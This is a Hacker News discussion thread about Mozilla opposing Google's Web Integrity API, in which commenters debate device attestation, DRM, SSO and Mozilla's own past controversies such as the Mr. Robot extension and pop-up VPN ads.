Mozilla Standards Positions Opposes Web Integrity API(github.com)
github.com
Mozilla Standards Positions Opposes Web Integrity API
https://github.com/mozilla/standards-positions/issues/852
331 comments
Can I just say I appreciate the framing of this as an attack? Somehow I hadn't yet mentally filed Google and friends under "Man in the middle" but that's pretty much exactly what's going on.
This Web Integrity API is just a means to cement themselves as obligatory man in the middle, as opposed to an optional one.
This Web Integrity API is just a means to cement themselves as obligatory man in the middle, as opposed to an optional one.
Agreed. GP comment was extremely weird to read, but I agree with the sentiment 100%.
it's not weird, but it's just that you're not used to seeing google as an attacker. But they definitely are in this spec.
It might be my security hat speaking, but I see it as insecure, regardless of who is man in the middling the connection.
I'm not a tinfoil hat, but security can't hang it's hat on the kindness of strangers.
I'm not a tinfoil hat, but security can't hang it's hat on the kindness of strangers.
The main vulnerability isn't the man in the middle per se. Rather it's the unforgeable attestation of exactly what software an end-user is running, by the user's own hardware having been designed to betray the user's interests. This would allow powerful websites to prohibit the use of user-representing agents altogether, and essentially mark the end of the open web.
> I'm not a tinfoil hat, but security can't hang it's hat on the kindness of strangers.
Given that SSO is a massive security win and has been a game changer for removing passwords, I think it's been shown that delegation is extremely effective.
Given that SSO is a massive security win and has been a game changer for removing passwords, I think it's been shown that delegation is extremely effective.
Why is removing passwords a massive security win? You're just moving the centralization from a password manager to SSO.
A few reasons.
1. Instead of needing 100 passwords, which increases the chance of users just choosing something and repeating it, you have 1 password.
2. Similarly, instead of needing 2FA on 100 sites they can just have 2FA on their SSO. In fact, the other sites don't even need to support 2FA - you get that "for free" with SSO.
3. SSO providers implement auth really well. They make it smooth, as in "I don't have to reauth when it's obviously me" and safe, as in "that might not be a valid auth, let's get them to 2fa again".
Of course, if you have a password manager then (1) is not a problem. But SSO is a lot simpler for users.
1. Instead of needing 100 passwords, which increases the chance of users just choosing something and repeating it, you have 1 password.
2. Similarly, instead of needing 2FA on 100 sites they can just have 2FA on their SSO. In fact, the other sites don't even need to support 2FA - you get that "for free" with SSO.
3. SSO providers implement auth really well. They make it smooth, as in "I don't have to reauth when it's obviously me" and safe, as in "that might not be a valid auth, let's get them to 2fa again".
Of course, if you have a password manager then (1) is not a problem. But SSO is a lot simpler for users.
As long as using it remains optional, I don't mind that SSO systems exist. But I am personally allergic to them, so I fear the day that they are no longer optional.
I fully advocate for users to be in control over how they choose to identify themselves on the internet. It's part of why I'm against the integrity proposal despite seeing a lot of value in it.
A "massive security win" would be using physical non-copyable keys instead of software palliative.
Both things can be significant. It's worth noting that:
a) SSO has no financial cost. Hardware keys do.
b) SSO has been implemented and standard for years and is trivial for sites to support, hardware keys are much newer and are still rarely supported for authentication.
c) You can use hardware keys with SSO, which I'd recommend, and now you've gotten the benefits of both.
a) SSO has no financial cost. Hardware keys do.
b) SSO has been implemented and standard for years and is trivial for sites to support, hardware keys are much newer and are still rarely supported for authentication.
c) You can use hardware keys with SSO, which I'd recommend, and now you've gotten the benefits of both.
Actually it would be useful to present the problem using your framing - in the press, blogs, everywhere. The other side is already bending over backwards to stretch the meaning of words (their introduction about DRM being "the backbone of the open Internet" made me me sick).
Also make DRM the abbreviation of "Digital Restrictions Management", which from the users perspective it is.
The framing would work just as well if we substituted for Google a certain not-exactly-friendly-with-the-U.S. regime that also happens to produce a shitload of smartphones. Whatever we don't want them to be able to do to our smartphones, we don't want Google to be able to do, either.
In theory - yes, but in practice TikTok gets a lot of bashing while its American equivalents manage to get away with basically the same behavior. Meta and Google aside, Uber created Greyball to avoid regulations, they even had (still have?) a special "Ripley" button to use when facing audit, so how can we expect a foreign regime to abide by our laws if we give our own companies a free pass? And when local governments try to limit Uber's unlawful[0] actions, we threaten them with freezing our investments in other sectors? [1]
[0] https://us.boell.org/en/2019/10/17/web-partner-companies-kee...
[1] https://tvpworld.com/40781592/another-letter-from-us-ambassa...
[0] https://us.boell.org/en/2019/10/17/web-partner-companies-kee...
[1] https://tvpworld.com/40781592/another-letter-from-us-ambassa...
I don’t think they mean TikTok. Huawei has been banned in the US for years for basically being permanently backdoored hardware for the Chinese government. The precedent, history, and motivations are clear. American companies trying to avoid regulation is scummy, but it’s basically the exact opposite of acting as an corporate extension of the government.
Nobody much cares about Tiktok being run by China despite years of fearmongering about it by powerful elites with the entirety of the mass media at their disposal.
Highly abstract risks just dont seem to register for most people. It was hard enough to get the masses to act in self interest over an existential risk to their health (covid).
I reckon the way to avoid maximum damage from this proposal will be some sort of inoculation - e.g. safe, trusted, easy to use tools that help people work around it. The political angle of attack is worth trying but I think it will fail.
I wish Mozilla worked that angle too - e.g. supporting lineage and microg.
Highly abstract risks just dont seem to register for most people. It was hard enough to get the masses to act in self interest over an existential risk to their health (covid).
I reckon the way to avoid maximum damage from this proposal will be some sort of inoculation - e.g. safe, trusted, easy to use tools that help people work around it. The political angle of attack is worth trying but I think it will fail.
I wish Mozilla worked that angle too - e.g. supporting lineage and microg.
So the attacker in this scenario is producing my hardware? That sounds ridiculous, if that were the case they could do anything they want anyways, I see no way in which the scenario you've discussed is materially different from "attacker can literally do anything anyway, they own the hardware".
And this "attacker" gets... what? Nothing. Because this isn't an attacker... it's a device manufacturer. You've described how attestation works except you've described the TPM as an attacker, which is silly.
And this "attacker" gets... what? Nothing. Because this isn't an attacker... it's a device manufacturer. You've described how attestation works except you've described the TPM as an attacker, which is silly.
They get a lot more than nothing.
They sell the attack to business partners like Netflix and Spotify.
Effectively, they are selling the end users' liberty (ability to run arbitrary software, including for example, a cracked ad-free version of the Spotify app) to those business partners.
In sales-speak, this is framed as "effective Digital Rights Management", with "Rights" meaning "copyright enforcement". Critically, DRM is not a viable methodology until you provide it this attack surface.
It's also worth noting that YouTube is one of those business partners, and both Android and YouTube are owned by the same corporation: Alphabet.
They sell the attack to business partners like Netflix and Spotify.
Effectively, they are selling the end users' liberty (ability to run arbitrary software, including for example, a cracked ad-free version of the Spotify app) to those business partners.
In sales-speak, this is framed as "effective Digital Rights Management", with "Rights" meaning "copyright enforcement". Critically, DRM is not a viable methodology until you provide it this attack surface.
It's also worth noting that YouTube is one of those business partners, and both Android and YouTube are owned by the same corporation: Alphabet.
> They get a lot more than nothing.
Relative to their current position of already owning the hardware?
> They sell the attack to business partners like Netflix and Spotify.
I don't see how they're "selling" anything. Web Integrity requires no money to change hands. If implemented, Netflix + Spotify would owe Google nothing.
Relative to their current position of already owning the hardware?
> They sell the attack to business partners like Netflix and Spotify.
I don't see how they're "selling" anything. Web Integrity requires no money to change hands. If implemented, Netflix + Spotify would owe Google nothing.
> I don't see how they're "selling" anything. Web Integrity requires no money to change hands.
DRM is the tool that guarantees money will change hands. Without it, there is nothing but a social (legal) threat to prevent people copying and distributing copyrighted content for free.
Forcing users to run the DRM-infected version of an app creates an incentive for Netflix and Spotify to participate on the Android platform; which in turn strengthens Android's position, and the Google Play Store as a market.
This incentive goes both ways for YouTube, because it is owned by Alphabet.
> If implemented, Netflix + Spotify would owe Google nothing.
Yes, but that's not the point. Google wants Netflix and Spotify to have Android apps. Netflix and Spotify want DRM infecting their apps. Without this system in place, users can disinfect the Spotify app, and listen to music without paying Spotify money (or watching ads to pay them indirectly).
Without providing the environment for functional DRM, Netflix and Spotify can simply refuse to make Android apps. That would be a pretty weak threat, except that YouTube wants the same thing; and that incentivizes Android to play ball.
DRM is the tool that guarantees money will change hands. Without it, there is nothing but a social (legal) threat to prevent people copying and distributing copyrighted content for free.
Forcing users to run the DRM-infected version of an app creates an incentive for Netflix and Spotify to participate on the Android platform; which in turn strengthens Android's position, and the Google Play Store as a market.
This incentive goes both ways for YouTube, because it is owned by Alphabet.
> If implemented, Netflix + Spotify would owe Google nothing.
Yes, but that's not the point. Google wants Netflix and Spotify to have Android apps. Netflix and Spotify want DRM infecting their apps. Without this system in place, users can disinfect the Spotify app, and listen to music without paying Spotify money (or watching ads to pay them indirectly).
Without providing the environment for functional DRM, Netflix and Spotify can simply refuse to make Android apps. That would be a pretty weak threat, except that YouTube wants the same thing; and that incentivizes Android to play ball.
> Google wants Netflix and Spotify to have Android apps.
Those apps already exist. Don't you think that kind of undermines your entire point?
Those apps already exist. Don't you think that kind of undermines your entire point?
No, they can still threaten to remove them, which I'm sure they have already.
That's the point of this framing - it's pitching the device manufacturer as an attacker and Secure Enclave as their sinister fortress inside your device. This is an age-old argument against these systems, but to your point the conspiracy theory crumbles at the edges once you start trying to turn it into a threat model.
Yeah, I get the point, it's just a terrible framing because, as you said, this threat model is nonsensical.
It's just that this description is describing an "attack" that is just how attestation works. If you have a problem with attestation, talk about that problem, calling it "an attack" does nothing.
I'm actually against the proposal, too - although I see the merits. The ability to have servers authenticate clients based on the context of that client is amazing - it would seriously improve security if done right. But I personally believe that this should be done through the Device Policy extension exclusively, as it is already done there today, and that the extension should be opened and standardized.
In fact, I believe Google should be forced to do so.
It's just that this description is describing an "attack" that is just how attestation works. If you have a problem with attestation, talk about that problem, calling it "an attack" does nothing.
I'm actually against the proposal, too - although I see the merits. The ability to have servers authenticate clients based on the context of that client is amazing - it would seriously improve security if done right. But I personally believe that this should be done through the Device Policy extension exclusively, as it is already done there today, and that the extension should be opened and standardized.
In fact, I believe Google should be forced to do so.
it is becoming impossible to own your hardware. go cloud!
> it is becoming impossible to own your hardware
It sure is not. But I do believe we should have a legal right to own our own hardware, in every sense.
It sure is not. But I do believe we should have a legal right to own our own hardware, in every sense.
I live in a place where legal rights are very different from legal realities, so pardon my snark
And of course the unfixable side-effect of the fact that we're ultimately sending electricity over wires:
6. Any additional party with sufficient ability to modify hardware can still attack the attacker and their accomplices. So such parties only benefit from this, at the cost of typical users.
6. Any additional party with sufficient ability to modify hardware can still attack the attacker and their accomplices. So such parties only benefit from this, at the cost of typical users.
Is there an option to have a smartphone and avoid this attack? The moribund Ubuntu phone comes to mind.
Sure. On my phone I run LineageOS. But now I can't run Google Pay, Netflix, by bank's app, the McDonalds app, Snapchat and many more. No big loss for me but as these systems get more pervasive you can only expect that this list grows. These companies want to control us and these APIs given them the possibility to do so.
* I can actually run Google Pay because the original SafetyNet API was software backed. So I can spoof a signature from an old device that didn't support hardware attestation. In particular my Pixel 4a claims to be a Nexus 5 so that Google's servers don't expect a hardware signature. But I'm sure that the clock is ticking until these apps (or Google globally) stop considering software backed validation acceptable. I'm quite sure that this Web Integrity API will be hardware backed from the start.
* I can actually run Google Pay because the original SafetyNet API was software backed. So I can spoof a signature from an old device that didn't support hardware attestation. In particular my Pixel 4a claims to be a Nexus 5 so that Google's servers don't expect a hardware signature. But I'm sure that the clock is ticking until these apps (or Google globally) stop considering software backed validation acceptable. I'm quite sure that this Web Integrity API will be hardware backed from the start.
Yes, but accomplices can, in this case, refuse to serve the phone in question - receiving sufficient traffic from infected devices to meet their needs.
At some point we just have to be okay with that. Threats and protests and complaints don't matter unless we back it up with something. If that means upgrading/repairing older devices instead of new ones, or not using web services that require DRM nonsense, then so be it.
I remember in the long, long ago, when I actually visited a BUILDING to do some of my banking tasks. And when I bought physical media that took up actual 3D space in my house to watch movies. I suspect we aren't incapable of going back.
I remember in the long, long ago, when I actually visited a BUILDING to do some of my banking tasks. And when I bought physical media that took up actual 3D space in my house to watch movies. I suspect we aren't incapable of going back.
> At some point we just have to be okay with that
We don't have to be OK with it, but it seems inevitable that everything is just going to shit. Starting with smartphones. That's why my current smartphone will be my last one. The cost/benefit of them is no longer favorable.
I think that the web itself will be the next casualty.
We don't have to be OK with it, but it seems inevitable that everything is just going to shit. Starting with smartphones. That's why my current smartphone will be my last one. The cost/benefit of them is no longer favorable.
I think that the web itself will be the next casualty.
Banks have been closing branches by the hundreds (at least where I live), and buildings where you can rent physical media are dying out (see Blockbuster, though the local library is fighting a valiant rearguard action). If 96% of people will use the bank app on their Approved by Alphabet phone (or browser) then the bank can ignore the few weirdos like us.
That's true. So, the question is: Do you protest now and hope there are enough of us to get them to change their minds, or do you just accept it now because it's most likely going to happen either way?
> buildings where you can rent physical media are dying out
Yes, in terms of buildings. But I see as many RedBox kiosks around as ever.
Yes, in terms of buildings. But I see as many RedBox kiosks around as ever.
Expected, but meaningless if we can't drive people towards Firefox and away from Chromium products. That's something of a responsibility we all have, especially those of us invested in the safety and security (collectively, trust) of the web.
I haven't seen anything yet on whether Brave will support it, though if I'm understanding correctly, they won't have a choice since they're using Chromium. Hopefully I'm misinformed.
I haven't seen anything yet on whether Brave will support it, though if I'm understanding correctly, they won't have a choice since they're using Chromium. Hopefully I'm misinformed.
Judging by all the hate Mozilla gets around here, it would be nice to at least see some credit given where it is due.
Ultimately I think we must permanently return to browser ballots back by the law, like the IE bundling fallout. Otherwise friction and incentives will continue to entrench one dominant player.
Ultimately I think we must permanently return to browser ballots back by the law, like the IE bundling fallout. Otherwise friction and incentives will continue to entrench one dominant player.
Mozilla gets hate because they say they're fighting for the user and then fail to live up to that standard. People expect Google to try and screw over users, so when it happens nobody is disappointed. I do agree that this results in oddly skewed reactions, but the emotional side makes sense.
When a shirt is dirty, one stain doesn't stand out much.
When a shirt is white and clean, the smallest stain stands out.
Mozilla is one of the rare companies with a mostly white clean shirt.
It is been judged harshly, while we should rejoice that they have been doing amazing things for 20 years despite the competition being terrible people playing dirty.
If we keep doing this, they will be no more Mozilla in the world. Who wants to be the good guys if you are held up against impossible standards when your competitors are paid handsomely to destroy the world?
I know some groups that target perfect ethics: they do nothing, because it's impossible to do anything without screwing up sometimes.
When a shirt is white and clean, the smallest stain stands out.
Mozilla is one of the rare companies with a mostly white clean shirt.
It is been judged harshly, while we should rejoice that they have been doing amazing things for 20 years despite the competition being terrible people playing dirty.
If we keep doing this, they will be no more Mozilla in the world. Who wants to be the good guys if you are held up against impossible standards when your competitors are paid handsomely to destroy the world?
I know some groups that target perfect ethics: they do nothing, because it's impossible to do anything without screwing up sometimes.
I disagree. The shirt isn't white anymore but turning beige. Precisely because people let a lot of Mozilla's shit slide just because "there aren't any better alternatives".
We're not holding Mozilla to higher standards than Google - we just have already discarded Google as an option.
Not collecting telemetry that many users have explicitly stated they do not want and even turned off at every opportunity is not a particularly high standard. Not wanting advertisements integrated into the web browser is not a particularly high standard. Criticizing that the CEO salary has been increasing to absurd levels while the browser has been declining and regular engineers are facing is not holding them to a particlarly high standard. Not wanting the last remaining competitive free web browser run as a commercial project rather than a non-profit foundation is not a high standard. Mozilla chooses to be shittier and shittier. Inaction would be better.
We're not holding Mozilla to higher standards than Google - we just have already discarded Google as an option.
Not collecting telemetry that many users have explicitly stated they do not want and even turned off at every opportunity is not a particularly high standard. Not wanting advertisements integrated into the web browser is not a particularly high standard. Criticizing that the CEO salary has been increasing to absurd levels while the browser has been declining and regular engineers are facing is not holding them to a particlarly high standard. Not wanting the last remaining competitive free web browser run as a commercial project rather than a non-profit foundation is not a high standard. Mozilla chooses to be shittier and shittier. Inaction would be better.
> The shirt isn't white anymore but turning beige. Precisely because people let a lot of Mozilla's shit slide just because "there aren't any better alternatives".
There's some nuance there, too.
It's "turned beige", in part, because people refused to use it while it was still "white". Mozilla has had to make the tough calculation of whether to be pure with zero users and therefore zero good impact, or to be beige to try to get some of these fickle users back and maybe have SOME good impact.
So, basically, people aren't satisfied when Mozilla is pure/idealist, and they aren't satisfied when it's compromising/pragmatic ("If they do that, I might as well keep using Chrome!").
I'm not letting Mozilla off the hook, or giving my blessing for every single decision that's been made. But, there's probably some utility to us taking the view of "just shut up and use Firefox" for the next N years.
There's some nuance there, too.
It's "turned beige", in part, because people refused to use it while it was still "white". Mozilla has had to make the tough calculation of whether to be pure with zero users and therefore zero good impact, or to be beige to try to get some of these fickle users back and maybe have SOME good impact.
So, basically, people aren't satisfied when Mozilla is pure/idealist, and they aren't satisfied when it's compromising/pragmatic ("If they do that, I might as well keep using Chrome!").
I'm not letting Mozilla off the hook, or giving my blessing for every single decision that's been made. But, there's probably some utility to us taking the view of "just shut up and use Firefox" for the next N years.
> Mozilla has had to make the tough calculation of whether to be pure with zero users and therefore zero good impact, or to be beige to try to get some of these fickle users back and maybe have SOME good impact.
I can't really recall any decisions made that were unpopular with existing users, but likely to lure new users in. Ads on new tabs doesn't seem like something that would bring new users in. Pocket doesn't either, since iirc you could install the extension in Chrome if you really wanted it.
Most of the controversies I remember were either to increase Mozilla's revenue, or boondoggles like their mobile OS. My major annoyance was that the increase in revenue seems like it was spent on boondoggles or weird, unrelated charity rather than going back into improving the browser.
I'm still also a Firefox user, but it's like 99% because ads are not their primary source of revenue rather than any remaining fondness towards Mozilla.
I can't really recall any decisions made that were unpopular with existing users, but likely to lure new users in. Ads on new tabs doesn't seem like something that would bring new users in. Pocket doesn't either, since iirc you could install the extension in Chrome if you really wanted it.
Most of the controversies I remember were either to increase Mozilla's revenue, or boondoggles like their mobile OS. My major annoyance was that the increase in revenue seems like it was spent on boondoggles or weird, unrelated charity rather than going back into improving the browser.
I'm still also a Firefox user, but it's like 99% because ads are not their primary source of revenue rather than any remaining fondness towards Mozilla.
I was thinking of EME, specifically, when I wrote that.
But, also, bringing money in is proxy enough for being able to do "good" for whatever definition we'd like to use. So, money or users, I think my general point about compromising their ideals for pragmatism is still valid (not necessarily true or correct, but it's an argument that can potentially be made).
But, also, bringing money in is proxy enough for being able to do "good" for whatever definition we'd like to use. So, money or users, I think my general point about compromising their ideals for pragmatism is still valid (not necessarily true or correct, but it's an argument that can potentially be made).
> So, basically, people aren't satisfied when Mozilla is pure/idealist, and they aren't satisfied when it's compromising/pragmatic ("If they do that, I might as well keep using Chrome!").
I suspect those are mostly different groups. And my personal take is that Mozilla did indeed make that calculation... and proceeded to sacrifice the die-hard core userbase in order to get wider appeal, but they managed to not actually get the wider audience to buy in either, leaving them with nothing.
I suspect those are mostly different groups. And my personal take is that Mozilla did indeed make that calculation... and proceeded to sacrifice the die-hard core userbase in order to get wider appeal, but they managed to not actually get the wider audience to buy in either, leaving them with nothing.
I agree with your assessment and I always suspected that would be the case, even when these decisions were being made.
Has there ever been a case of an underdog company/product actually gaining market share by becoming less different than the market leader? It always seems like a mistake from the outside, to me. I feel like an underdog is more likely to succeed by actually being different and attracting people who would prefer those differences. Why would anyone change from what they're currently using to an alternative that is almost exactly the same?
Has there ever been a case of an underdog company/product actually gaining market share by becoming less different than the market leader? It always seems like a mistake from the outside, to me. I feel like an underdog is more likely to succeed by actually being different and attracting people who would prefer those differences. Why would anyone change from what they're currently using to an alternative that is almost exactly the same?
Very true. I just like to add their strategic investment in Hubert Burda's Cliqz. A thinly disguised attempt to shut out Google ads and replace them with the ones from the Burda empire. Their mendacious user privacy rhetoric still makes me sick and is on par with what we've read in the Web Integrity Standard.
Spectrum of goodness:
[M. theresa...VLC foundation....Mozilla.......You.......................Microsoft.......................................Nazis]
So-called "Mother Theresa" should not be used as an example of extreme good. She's more accurately described as an example of extremely good PR.
https://en.wikipedia.org/wiki/Criticism_of_Mother_Teresa
https://en.wikipedia.org/wiki/Criticism_of_Mother_Teresa
Off topic: Mother Theresa wasn't a particularly great person.
> Mozilla is one of the rare companies with a mostly white clean shirt.
No. Not even close.
> while we should rejoice that they have been doing amazing things for 20 years despite the competition being terrible people playing dirty.
I reject the "other"-ness in this comment. I was a Mozillian. I was helping do those things. The notion that I should heap accolades upon a bunch of folks who are only now affiliated with Mozilla and who were not contributing during the era in which Mozilla was doing the great things actually deserving of the goodwill associated with its name? And who have themselves been positively poor torchbearers for that name? Condescending.
2023 is the project's 25th birthday. It did amazing things for about 15 of them—by which I mean the people who made up the project. "Mozilla" is merely a legal fiction.
No. Not even close.
> while we should rejoice that they have been doing amazing things for 20 years despite the competition being terrible people playing dirty.
I reject the "other"-ness in this comment. I was a Mozillian. I was helping do those things. The notion that I should heap accolades upon a bunch of folks who are only now affiliated with Mozilla and who were not contributing during the era in which Mozilla was doing the great things actually deserving of the goodwill associated with its name? And who have themselves been positively poor torchbearers for that name? Condescending.
2023 is the project's 25th birthday. It did amazing things for about 15 of them—by which I mean the people who made up the project. "Mozilla" is merely a legal fiction.
So? Is using Chrome better? What is your recommendation?
Please don't change the subject like this. It's annoying.
<https://news.ycombinator.com/item?id=23117242>
There's no reason your question couldn't have been posted in a relevant (sub)thread, instead of here, where it's (i) not on topic for the current subject, but (ii) looks like it could be, and therefore (iii) has the same effect as moving the goalposts.
<https://news.ycombinator.com/item?id=23117242>
There's no reason your question couldn't have been posted in a relevant (sub)thread, instead of here, where it's (i) not on topic for the current subject, but (ii) looks like it could be, and therefore (iii) has the same effect as moving the goalposts.
They did shift the goalposts, but I do wonder what browser you'd recommend (and I won't make a bad faith assumption that its chrome like they did). Brave?
The browser with a built-in crypto wallet? No thanks.
I stick to Safari and Firefox. They're not perfect but they're the only modern browsers that don't use Blink, which is what gives Google the power to make moves like this.
I stick to Safari and Firefox. They're not perfect but they're the only modern browsers that don't use Blink, which is what gives Google the power to make moves like this.
I run firefox with ublock origin, some tampermonkey scripts, and decentraleyes.
So many people recommend it, but I've been iffy on using brave. Thanks for giving me a little insight on your choices and reasoning behind it.
So many people recommend it, but I've been iffy on using brave. Thanks for giving me a little insight on your choices and reasoning behind it.
How do we define "failure"? Let's say we can measure how much Mozilla fights for the user and put it on a scale:
The sentiment I seem to see is that anything short of perfect is failure.
|--------------------|
anti-user pro-user
|----G-------M-------|
anti-user pro-user
The sentiment I seem to see is that anything short of perfect is failure.
They take so many active anti user steps.
Pocket, cliq, Push Notifications for Mozilla Blog without user consent, Mr robot, Firefox Suggest etc they are littered with mistakes and scandals and have never improved their governance or process.
I can give them a pass on technical decisions like Thunderbird or breaking extensions but when it's purely commercial it has to be judged differently.
Pocket, cliq, Push Notifications for Mozilla Blog without user consent, Mr robot, Firefox Suggest etc they are littered with mistakes and scandals and have never improved their governance or process.
I can give them a pass on technical decisions like Thunderbird or breaking extensions but when it's purely commercial it has to be judged differently.
The fact that an easter egg about a TV show makes the list of the worst things they've ever done speaks volumes. It was a bad decision, but it was not malicious and it had negligible impact on users. Google does something 10x worse every single day.
I was about to post this comment. I can't BELIEVE people are still hung up on the Mr. Robot thing. This is exactly what we're talking about in this thread when we say that HN has a strong anti-Mozilla bias for some reason.
Whenever I see this I just assume it's people that are against Firefox/Mozilla anyway and are looking for any possible excuse to shit on them. Yes, it was bad, and an ideal organization would not have done it. But it is orders of magnitude less severe than what Google does to us every day. Not even a comparison.
No but things like hiding the favicon when the audio playing notification is on the tab, changing UIs for no good reason, removing features for no good reason...these are the things that piss people off. Mostly designers making life shit for no good reasons, and then the CEO whining about low pay and constantly increasing her salary (after firing the rust team)
In a situation like that, it's not just about any direct harm that may have arisen.
It's also about the loss of trust.
That particular incident, for example, was completely unnecessary. It involved a significant display of unbelievably poor judgment, and a total lack of foresight. It shouldn't have happened.
The fact that it did happen, despite it being such an obviously bad idea, raised a lot of questions and doubt.
It causes people to wonder what other incidents, which could potentially be far worse, might happen in the future.
It's remembered years later because it involved such a major loss of trust for so many people.
It's also about the loss of trust.
That particular incident, for example, was completely unnecessary. It involved a significant display of unbelievably poor judgment, and a total lack of foresight. It shouldn't have happened.
The fact that it did happen, despite it being such an obviously bad idea, raised a lot of questions and doubt.
It causes people to wonder what other incidents, which could potentially be far worse, might happen in the future.
It's remembered years later because it involved such a major loss of trust for so many people.
Here's the thing, though. You've used several key phrases in this comment: "a lot of questions and doubt," "wonder what other incidents [...] might happen in the future," and "major loss of trust."
All valid concerns, but why post about them on the internet? Especially when it's nothing concrete--you used the words "questions", "doubts", and "might happen"? If someone is taking the effort to post FUD (literally) about Mozilla and "trust", why the hell aren't they using that same effort to post about Google or Microsoft and "trust"? Aren't those obviously much bigger problems?
Again, it's not wrong, per se, but I feel like it's bordering on some kind of astroturfing for people to complain about the fucking Mr. Robot non-story that happened years ago when TFA is about Mozilla at least signalling the right thing while Google is trying to be overtly evil YET AGAIN. I can actually type "Fuck Google" faster than I can type "Mr. Robot", so I'd have to have some kind of weird agenda or priorities to bring up Firefox's Mr. Robot thing.
All valid concerns, but why post about them on the internet? Especially when it's nothing concrete--you used the words "questions", "doubts", and "might happen"? If someone is taking the effort to post FUD (literally) about Mozilla and "trust", why the hell aren't they using that same effort to post about Google or Microsoft and "trust"? Aren't those obviously much bigger problems?
Again, it's not wrong, per se, but I feel like it's bordering on some kind of astroturfing for people to complain about the fucking Mr. Robot non-story that happened years ago when TFA is about Mozilla at least signalling the right thing while Google is trying to be overtly evil YET AGAIN. I can actually type "Fuck Google" faster than I can type "Mr. Robot", so I'd have to have some kind of weird agenda or priorities to bring up Firefox's Mr. Robot thing.
While you may consider it to be a "non-story", for some of the Firefox users who experienced it first-hand, it was a significant betrayal that can't be easily forgiven. The implications go far beyond the incident itself.
I don't think that there's "a strong anti-Mozilla bias" here, as you put it earlier. The people affected by that incident, and by others, were probably among the most ardent Firefox supporters. After all, they were still using it long after so many others had already moved to Chrome.
Loss of trust is something that isn't easily forgotten, and it's a relevant factor worthy of bringing up in discussion.
I don't think that there's "a strong anti-Mozilla bias" here, as you put it earlier. The people affected by that incident, and by others, were probably among the most ardent Firefox supporters. After all, they were still using it long after so many others had already moved to Chrome.
Loss of trust is something that isn't easily forgotten, and it's a relevant factor worthy of bringing up in discussion.
I'm sorry, but it's definitely a non-story, and all this talk about "betrayal" and "trust" is sophistry.
It's a non-story because you had to opt-in to Firefox's "experiments" feature to get the extension pushed to you. Opting in to the experiments feature is *literally* granting permission for Mozilla to change the behavior of your Firefox browser remotely in between official releases. So, Mozilla had your permission to change your browser. I simply will not shed a tear for anyone who felt betrayed by something they signed up for.
And, by the way, I was also "affected" by the Mr. Robot thing because I also opted in to the experiments feature.
Furthermore, the extension did nothing harmful. It didn't even collect any data as far as I know. You know why Mozilla pushed an extension that didn't even collect any data instead of one that does? Because they were acting in a trustworthy way!
Sure, it was a faux pax. Mozilla thought they could be cute the same way a lot of old school FLOSSy, hackery, software would include amusing Easter eggs and jokes. It was inappropriate and didn't land well for a variety of reasons, but there was no reason to lose trust in Mozilla at the time, and there's *certainly* no reason to even bring it up today, years later, when just about every other tech company and computer product is trying their damnedest to spy on you, sell your data, prevent you from having root control of your devices, and squeeze subscription money out of you.
Again, Chrome starts tracking you the instant you launch it for the first time. Microsoft tracks you when you log in to Windows and occasionally re-enables tracking features that you've disabled. Mozilla pushed a silly "fun" extension to users who opted in that didn't collect any data nor make Mozilla any money.
This discussion is nonsense. If you truly don't trust Mozilla after the harmless Mr. Robot extension was pushed to you after you chose to allow them to modify your browser remotely, then go ahead and stop using Firefox- I don't care. But please stop spreading FUD.
It's a non-story because you had to opt-in to Firefox's "experiments" feature to get the extension pushed to you. Opting in to the experiments feature is *literally* granting permission for Mozilla to change the behavior of your Firefox browser remotely in between official releases. So, Mozilla had your permission to change your browser. I simply will not shed a tear for anyone who felt betrayed by something they signed up for.
And, by the way, I was also "affected" by the Mr. Robot thing because I also opted in to the experiments feature.
Furthermore, the extension did nothing harmful. It didn't even collect any data as far as I know. You know why Mozilla pushed an extension that didn't even collect any data instead of one that does? Because they were acting in a trustworthy way!
Sure, it was a faux pax. Mozilla thought they could be cute the same way a lot of old school FLOSSy, hackery, software would include amusing Easter eggs and jokes. It was inappropriate and didn't land well for a variety of reasons, but there was no reason to lose trust in Mozilla at the time, and there's *certainly* no reason to even bring it up today, years later, when just about every other tech company and computer product is trying their damnedest to spy on you, sell your data, prevent you from having root control of your devices, and squeeze subscription money out of you.
Again, Chrome starts tracking you the instant you launch it for the first time. Microsoft tracks you when you log in to Windows and occasionally re-enables tracking features that you've disabled. Mozilla pushed a silly "fun" extension to users who opted in that didn't collect any data nor make Mozilla any money.
This discussion is nonsense. If you truly don't trust Mozilla after the harmless Mr. Robot extension was pushed to you after you chose to allow them to modify your browser remotely, then go ahead and stop using Firefox- I don't care. But please stop spreading FUD.
My God, you're right. With such poor judgement, they might someday do something really awful like try to force remote attestation into the web at large.
I look at it similarly to the iPhone / U2 debacle.
It's remembered now only by a very small, though vocal, minority.
It's remembered now only by a very small, though vocal, minority.
So let's just keep using the browser from the company with 90% control of the web and ACTIVELY (see this article) trying to make it impossible for you to do things like block ads or write a web scraper just because of "some loss of trust"
There is no perfect option right now, and Mozilla will never be that perfect option because they are human and at least three people working there probably want to make some money.
So yeah, lets just keep making them irrelevant so in ten years I won't have a choice and be FORCED to use the browser that says ad blocking is stealing and spoofing your user agent is a violation of the CFAA and all this other blatantly user hostile shit.
It's such clear whataboutism, to have ANYTHING to hold against the only web browser that isn't actively controlled by the people with billions of dollars a year incentive to actually harm how you use the web.
There is no perfect option right now, and Mozilla will never be that perfect option because they are human and at least three people working there probably want to make some money.
So yeah, lets just keep making them irrelevant so in ten years I won't have a choice and be FORCED to use the browser that says ad blocking is stealing and spoofing your user agent is a violation of the CFAA and all this other blatantly user hostile shit.
It's such clear whataboutism, to have ANYTHING to hold against the only web browser that isn't actively controlled by the people with billions of dollars a year incentive to actually harm how you use the web.
If anything, shouldn't the fallout reinforce trust that it won't happen again? Kind of like how plane crashes actually make planes safer.
Unfortunately, it doesn't seem to work that way in this case. For example, there was an incident just a couple of months ago that was discussed here:
"Firefox displayed a pop-up ad for Mozilla VPN over an unrelated page" (https://news.ycombinator.com/item?id=36077360)
"Mozilla stops Firefox fullscreen VPN ads after user outrage" (https://news.ycombinator.com/item?id=36085642)
That's another incident that just shouldn't have ever happened to begin with, in my opinion.
"Firefox displayed a pop-up ad for Mozilla VPN over an unrelated page" (https://news.ycombinator.com/item?id=36077360)
"Mozilla stops Firefox fullscreen VPN ads after user outrage" (https://news.ycombinator.com/item?id=36085642)
That's another incident that just shouldn't have ever happened to begin with, in my opinion.
That's not great, but it's not the same as the Mr Robot thing. That much has already stopped. This is a different thing that similarly won't happen again now that backlash has occurred. A different cause of a plane crash that has now been analyzed to prevent in the future, going back to that analogy.
The underlying cause in both of those cases seems to me to be them doing something that fundamentally should not have been done in the first place.
